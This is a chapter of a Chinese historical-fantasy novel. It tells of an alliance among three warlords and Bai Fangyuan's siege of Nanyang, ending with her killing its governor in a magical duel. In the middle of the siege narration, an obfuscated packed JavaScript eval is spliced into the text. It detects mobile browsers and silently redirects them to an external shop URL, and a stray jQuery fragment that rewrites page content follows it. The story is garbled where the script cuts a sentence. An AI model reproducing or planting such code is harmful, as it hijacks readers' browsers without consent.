诗曰:
世间众生自往游,
蛛丝结网意相投。
胸怀各抱平生志,
百折千回话始酬。
乱世浮沉势未休,
曲突徙薪预绸缪。
千筹既定功将收,
策马横戈向中州。
话说上回,顾风鹏、唐惊弦缔结契约,共图大事。唐惊弦自言与潇湘太守东方岚先母素有旧交,二人打点行装,一同启程奔赴潇湘,打算游说东方岚联手举事。
车马行至潇湘零陵泉陵城下,二人寻一处客舍暂且安顿。唐惊弦取过纸笔,手书名帖一通,自言昔年与东方老太守相交有旧,特来登门拜会。遂差心腹持帖送入太守府。
未几,一侍卫匆匆赶来传报:“主君有请唐公子入府一叙。”唐惊弦辞别顾风鹏,随府中引路之人,往城正中太守府而去。
唐惊弦随引路侍卫来至一座宏阔府邸,但见高墙绵延,府门巍峨,门楣悬一块黑底鎏金匾额,上书“赤宁府”三字。阶下两侧甲士身形雌健,肃立侍守,目不旁视。侍卫开府门在前引路,自大门一路曲折行往正院,沿途风光,有诗为证:
湘樟乌桕蔽浓荫,
斑竹凝痕曳素影。
曲径通渠潺活水,
浮云游鲤照人行。
奇石嶙峋依篁林,
风摇菖蒲白鹭鸣。
潇湘佳境如屏画,
浅水微凉远山青。
及至步入正堂,早有二人等候在内。正中独座坐一名少年,唐惊弦垂眼观瞧,只见她:身着暗绯交领太守广袖绫袍,袍裾垂地,内衬窄袴;腰间紧束朱红革带,足踏云纹软皮皂靴,头戴小巧进贤冠。头顶探出一对橘红狐耳,耳背墨黑,一双窃蓝眼眸清亮有神,剑眉朗目,气度别具。端的是:
零陵赤狐多逸俊。
身长五尺三寸余,
少未经尘心气盛,
遥随红日焕煦旭。
此人正是潇湘太守东方岚。
东侧坐一女子,但见她:一身石青交领窄袖直裰,内配同色窄袴,装束干净利落。腰间束墨青素面革带,悬一枚素玉珮,蔚蓝长发简约束起,仅以一支墨玉簪绾定。一双烟紫瞳眸,眼角覆着浅浅青鳞细纹。真是:
湘江游蛇沐风潇,
被褐怀玉敛圭角。
身颀五尺六余寸,
与友长兮逐风高。
唐惊弦拱手行礼,先向正中少年致意,又向东侧女子揖礼,从容开口:“昔日与老太君相交甚厚,一别经年,今日踏足赤宁府,睹物思人,心中颇多感慨。”
东方岚抬手指向客位,请她落座,言道:“先母在世之日,常向我说起公子,今日幸得相逢,果然一如先母所言,风度不凡。公子远道而来,一路风尘辛苦,不防在此安心歇息,不必拘束。”
唐惊弦躬身谢礼,移步至客位坐定,莞尔道:“承蒙厚待,当之有愧。昔年多受先老太君照拂,今日登门拜谒,已是唐突。”说罢,她目光微转,看向东侧女子,语气平和:“久闻颜辅政悉心辅佐使君,安定潇湘一方,某心中素来敬佩。”
颜辅政微微欠身还礼,神色从容,语气温和有度:“唐公子过誉。辅佐使君,本是分内之事。公子与先太君素有旧交,远道莅临零陵,我等自当尽待客之礼。不知公子此番远至,除却拜谒故人旧府,可另有要事相商?”
唐惊弦面上笑意不改,迂回道:“颜辅政问话,某自不敢相瞒。如今天下动荡,朝廷多方削抑各地藩镇世家,苛令频出。吴越、雍州等处,皆已暗流涌动。零陵地处要冲,若无盟友互为屏障,它日恐难独善其身。某此番前来,一则感念旧谊拜谒先太夫人旧府,二来,亦是盼能与使君、颜辅政坐而论道,共寻保全长久安稳之策。”
颜辅政道:“公子所言,我亦有所耳闻。只是潇湘百姓久厌兵戈,但求安居乐业。不知公子口中互为屏障,究竟是何等章程?”
唐惊弦道:“所谓互为屏障,便是彼此互通消息,守望相护。倘若朝廷有苛责之令压向潇湘,吴越可为后援;若是吴越遇困,潇湘亦作呼应。彼此互不侵扰,不枉起战端,合力保全一方百姓,免遭动荡祸乱。”
颜辅政垂眸略一思忖,抬眼淡淡答道:“公子这番说辞,情理兼顾。只是此事干系一郡安危,非我二人片刻便能决断。容我与主君闭门商议,改日再回复公子,如何?”
唐惊弦闻言,含笑拱手:“颜辅政言之有理。此事重大,本就该审慎斟酌,某静候佳音便可。”
东方岚命人将唐惊弦好生安顿,待人离去,又传令左右尽数退下,大堂之内唯余二人。她开口问道:“犹辰,你意下如何?”
原来这颜辅政本名颜长卿,表字犹辰,原是先太君麾下猛将。她武艺高强,性情却谦和温雅。先太君见东方岚素来矜骄自恃,意欲磨去她一身傲气,便遣颜长卿随侍监护,时时管束提点。
颜长卿道:“唐惊弦所言听似只为守望互助,想来暗含联结各方之心。此人素有谋略,会稽人称‘笑面虎’,内里城府极深,不可轻信。方才听她语中言及雍州,未尽,你可知彼方秦川郡王称霸一事?”
东方岚道:“秦川郡王昔年举兵剿除雍州一众蠹官,将关中搅个底朝天,末了朝廷只得遣使授她封号。此事沸沸扬扬,早已传遍中州,我也曾听闻一二。”
颜长卿颔首微笑:“不知她现下是否已然和秦川郡王搭上干系。依我观之,此事只怕迟早而成。湘江一带介于雍州、吴越两地之间,虽疆土不相毗邻,可倘若两方有意起事,便能对我形成左右夹击之势。我等若是不肯依附,它日难免兵戈相向。”
东方岚道:“犹辰的意思,我等竟是不得不应下此事?
颜长卿答道:“眼下不防先应允互通音讯,订立浅约,暂且稳住唐惊弦。一面遣人去往吴越、雍州打探虚实,一面整饬城防、操练士卒,积蓄力量。若是将来局势尚可中立,我等便固守潇湘;倘若大势难逆,再择取舍不迟。”
东方岚思忖片刻,说道:“此计稳妥,便依犹辰所说!”
颜长卿与东方岚商定,次日会见唐惊弦,言道:“吾主愿与吴越订立浅约,两郡互不侵伐疆土,互通朝野动静、兵马讯息;信使往来,予以通行之便。只是盟约止于守望自保,暂不缔合联兵之诺。它日若一方不愿守约,先行知会,便可作罢,互不构怨。不知公子以为如何?”
唐惊弦针须微颤,说道:“便依颜辅政所言。”
辞别二人,唐惊弦行至城外厢处与顾风鹏汇合,将府中会谈始末细细叙说一遍。
顾风鹏听罢,开口言道:“有劳堂主亲自奔走,联兵大事本非一朝可定,眼下这般局面,已是上上之果。”言毕,话锋一转,问道:“不知堂主可愿随顾某同往雍州,拜会秦川郡王?也好预先筹谋往后诸事。”
唐惊弦笑道:“某正有此意,那便有劳公子。”
二人闲言少叙,不再耽搁,一路迤逦行至雍州长安。城外守卒照例盘查往来车马,一见顾风鹏身影,即刻放行,又飞马传报入城,知会白方圆。
车马徐徐前行,尚未抵达帅府,远远便望见方圆策马亲来迎接。方圆望见车驾,当即勒住坐骑,那褐马长嘶一声,前蹄高高扬起,鬃毛在春风里恣意飞扬,日光洒落其身,一派潇洒英气。端的是:
东风快意马吟欢,
阔别今朝始聚团。
长安光景一时新,
行客征途路漫漫。
遥观故友行路难,
扬策驱驹破云岚。
韶光不负花灿烂,
良人相逢共策安。
方圆不及多言,翻身下马,快步趋至车驾之前。车妇勒马急停,顾风鹏也自车上跃下。二人甫一相逢,方圆上前一把相拥,慨然言道:“万九!路途迢迢,一路奔波,这些时日,你辛苦了!”
顾风鹏被她这般一扑,不由得向后踉跄数步,方才站稳,又抬手轻轻拍了拍她的脊背,笑道:“你我乃是姊妹,不过些许分内之事,寸中何须这般客套!”
唐惊弦悄然自车中步出,悄无声息行至二人身后。方圆鼠耳一抖,猛然回身,沉吟须臾,抱拳笑道:“想来阁下便是唐堂主了,万九在信中多有提及,久仰!”
唐惊弦拱手莞尔:“久闻秦川郡王大名,今日一见,果真非凡。”
顾风鹏说道:“此处不便寒暄,不如先行回转府中,再叙不迟。”
顾风鹏回身抛给车妇一贯铜钿,车妇叉手称谢。三人一同回转主帅府,行至正院厅堂。顾风鹏道:“顾某尚有旁务待处置,堂主不必拘谨,尽可与郡王一叙。”说罢,不疾不徐离去。
方圆命人沏上好紫阳毛尖,虜仆领命。不多时茶汤奉至案上,她抬手示意请茶,自己亦举杯浅啜一口,笑道:“江南遍地名茶,关中不能相比。此茶聊以解渴,还望堂主莫要慊弃。”
唐惊弦不多推脱,轻呷一口茶水,莞尔道:“一方水土育一方佳味。江南茶虽繁盛,却少了关中这般沉厚气韵。有此清茶对坐,足矣。”
方圆道:“想来堂主遍游江南,品四方百味,茶道造诣颇深。对这世间光景,亦有一番独特见解。”
唐惊弦轻转手中茶盏,缓缓笑道:“品茶不过闲中雅事,世间大势,却非一盏清茶所能道尽。郡王镇守关中,俯瞰中州,想必心中早有谋划。”
方圆轻搁茶盏,瓷杯落于案上,发出清脆一响。她不动声色道:“方圆并无宏图野心,只求为治下军民谋一条安稳生路。只是如今朝廷威权渐衰,四方人心动摇,倘若各路势力依旧各自为战,只怕终究难以独善其身。”
唐惊弦目光微垂,望着杯中澄澈茶汤,徐徐开口:“郡王所言,确是当下难处。某虽已许诺缔约,然则联兵之举断不可草率,稍有不慎,便会万劫不复。不知郡王心中有何章程?”
方圆缓缓颔首,言道:“既然暂不联兵大举,你我便当互通物资、互传谍报。雍州可出铁矿战马,吴越供给海盐织物,粮草有缺彼此接济。待时机成熟,我预备与顾将军合领兵马,率先谋取南阳,吴越只需固守东线,接济物资、递送消息便可,不知堂主以为如何?”
唐惊弦莞尔拱手:“郡王所言公允,某自当应允。”
二人议定盟约,敲定信使暗号与货运转送通路。未过数日,唐惊弦告辞归吴越。此后秦、楚、吴三方互通情报、接济物资,整军蓄力,静候出兵之日。
韶光易逝,日月迁移。
绥辰五百三十九年五月廿八,暮春霖雨初歇,陆路干爽,白日艳阳高悬,夜来月华澄明。各处粮草辎重尽数调集完毕,雍州、荆楚各部兵马依约汇集。方圆择此吉日,祭旗誓师,传令三军启程,挥师南向,进取南阳。
彼时她立于高台,身披铠甲,顾风鹏肃立左后侧,数万介胄之士列于校场。方圆目扫三军,高声喝道:“诸位将士!此番一战,凶险难当,既是与朝廷为敌,亦是为民请命!如今苛税繁重,黎民困苦不堪。我等本欲安守故土,奈何朝廷相逼不止。今日起兵攻取南阳,不为争地,只为护佑百姓,保全家眷!愿随我出征者,擂鼓启程!”
话音方落,台下将士齐齐振臂高呼,呐喊之声震彻校场。战鼓骤然擂响,咚咚轰鸣,旌旗随风翻卷。三军依序列阵,次第开拔,向着南阳浩荡进发。有诗为证:
远空澄净风云荡,
叠嶂巍峨极目望。
行伍连绵十里阔,
六师南向浩汤汤。
持戈挎戟明刀枪,
铁骑奔腾卷沙浪。
旌旗猎猎鸣鼙鼓,
万众齐心赴南阳。
大军行至南阳城外三里,方圆传令就地安营,掘壕树栅,安顿三军。复遣探马四下巡哨,探明城防虚实,分兵扼守各路要道,将城池团团围困。诸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17876759|212389||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
事安排已定,便差使者前往城下投送檄文,劝谕守将开城归降。
不多时,使者仓皇奔回,喘息未定,伏地禀道:“启禀郡王!末将捧檄至城下喊话,尚未说清来意,城上守军便乱箭齐发,不容半句通传!”
方圆听罢,毫不犹豫,登时领兵出营,直抵城下对峙。
及至城外,方圆勒马立于阵前,追风、八百里持戈拱侍左右。她仰面望向城头,高声唤道:“城上可是南阳太守?适才我遣使持檄前来劝和,缘何未容一语分辨,便乱箭相向!”
城头太守倚住垛口,神色凛然,扬声作答:“白方圆!圣上恩封你为秦川郡王,命你镇守雍州,怎料你不思感念皇恩,反倒私聚部曲,擅起刀兵,进犯大商疆土!你本逆臣,怎配言和!本官奉皇命镇守南阳,唯有据城死守,绝无开城纳寇之理!”
方圆高声道:“朝廷苛政不息,万民深受困厄。我兴义师,只为安抚黎庶,并无僭越图谋。太守若开城归降,城中吏民皆可保全;倘若执意顽抗,待到城破之日,悔之晚矣!”
太守冷笑一声,挥手喝斥:“尔等乱臣贼子,出师无名,休要在此巧言惑众!吾决意死守,不必多言!”言罢,便命身旁士卒张弓搭箭,作势欲射。
方圆面色一沉,厉声喝令:“左右何在!”
追风、八百里趋前一步,齐声应道:“在!”
“传令三军,即刻攻城!”
“是!”
令旗高举,迎风猎猎。号角齐鸣,战鼓动地,步卒推着冲车、肩扛云梯,冒着矢石奋勇向前。城上滚木礌石纷纷砸落,箭矢密如飞蝗,两军就此酣战一处。城下矢石交攻,三军死战,有词为证:
赤旗凌空高掣,战鼓千面齐擂。步卒银甲寒森森,铁骑疾冲尘飞腾,直指南阳城。
箭雨礌木摧盾,奋勇相继驰奔。人吼马嘶相交鸣,抛头洒血半死生,此身献征程。
方圆一骑当千,策马杀入乱军丛中,手中长枪盘旋飞舞,银光闪烁。逢敌便挺枪直搠,枪尖到处,人仰马翻,势不可挡。
正纵马冲突之际,忽见一人持斧钺自半空跃下。方圆急催坐骑躲闪,怎奈来得太过突兀,避让不及。斧钺猛砸在地,尘土迸起,罡风四下激荡;无数木藤破土横生,卷向战马,登时将坐骑掀翻。方圆反应极快,凌空一个后翻,稳稳点落地面,回身看向来者。
太守身披重铠,肩扛斧钺,横眉立目厉声喝道:“你这乱臣贼子!贪求无厌,搅乱四海,今日便将你就地诛除!”
方圆道:“何谓乱臣?何谓贪求?世道纷乱,我只求苍生安生,又有何过错!今日我起兵为民请命,与我为敌,便是置黎民于水火!”说罢,扎稳下盘,臂膀运力,长枪猛地脱手疾射而出。
枪锋之上骤起熊熊烈焰,裹绕枪杆,恍若炎龙怒啸,长虹贯日。太守侧身急避,那长枪去势不止,竟将身后一列兵卒接连洞穿。她旋过身来,怒目看向方圆,厉声喝道:“一派强词,执迷不悟!”言毕,抡动斧钺,当头猛劈而来。
方圆当即唤出爪刃,左臂横架格挡,右爪径直捣向太守中腹。太守一斧刚落,不及回防,竟被爪刃扫中。爪刃裹挟炽热炎煞,精钢战甲如软泥一般碎裂开来,太守腹间受创,灼出一片焦黑伤痕,皮肉焦糊之气霎时漫布周遭。
二人你来我往,斧钺挥处青藤丛生,爪刃落时烈焰奔腾。木灵缠缚锁身形,炎煞席卷焚枝蔓,兵刃相交不绝,术法对冲轰鸣,直斗得难解难分,有词为证:
斧钺横空萦青芒,
爪刃碎甲奏铿锵。
繁根虬枝横沙场,
炎罡焚尽清木障。
烽火起,硝烟荡。
风卷焦雾烬漫飏。
方枘圆凿安得当?
断旌寥落问苍茫!
太守武艺修为本不及方圆,方才初战便已身受重创,加之木灵遭炎煞克制,缠斗片刻,渐渐力怯露了败相。方圆觑得一处空隙,扬爪疾挑,当即将她手中斧钺掀飞落地。
太守见兵刃脱手,不退反进,挥拳直扑面门。方圆侧身一闪避过来拳,紧跟着一记头槌撞去,正中太守肩头,将她重重掀翻在地。
方圆收了左爪刃,快步欺身上前,伸手扼住她脖颈,厉声喝道:“速速传令退兵归降,如若不然,休怪我痛下杀手!”
太守虽受制于人,面上全无惧色,反倒纵声大笑:“反贼何其可笑!胜负不过一时,我一生秉志勇而无畏,岂能就此付之一炬!殉身沙场,本就是我的造化!哈哈哈哈!”
方圆眸光微动,面上掠过一丝动容,转瞬神色归于沉定,朗声道:“好!有骨气!太守风骨,方圆敬重!我便遂你的心意,赐你痛快了断!”话音甫落,她遽尔抬起右手,乍然向下剜去。
炽烈炎芒一闪而逝,掌间火气散去。方圆轻轻松手,缓缓直起身躯,抬眼望向城头尚在鏖战的守军。提气高声呼喝,声响冲破漫天杀伐喧嚣,传遍四野:“南阳太守已然授首!汝等主将已亡,顽抗无益!放下兵刃者,一概免死,保全性命;执意死战,绝不宽赦!”
此言一出,四下厮杀之声稍稍一滞。城头守军闻得主将殒命,人人惶然,手中兵刃不觉慢了几分。大半兵卒斗志崩散,慌乱无措;有心死战之人,兀自咬牙挥戈。
未过多久,城头便有人抛下旌旗,大呼归降。接连几处守卒纷纷弃了刀枪,自垛口将兵器抛下。
方圆见此情景,高声传令麾下将士:“止戈!勿伤降卒!”
三军听得号令,缓缓收住攻势,列阵严守,不再向前强攻。
未几,城门大开。方圆遣亲卫先行入城,把守四门,安抚市井百姓,查封官衙府库,严令麾下不得劫掠扰民。随后她与顾风鹏会合,一同商议安置官吏、整顿郡县诸事,按下不表。
城内尚有少许死忠之人负隅顽抗,不多时便尽数被擒,皆尽处置。
南阳一城,自此攻破。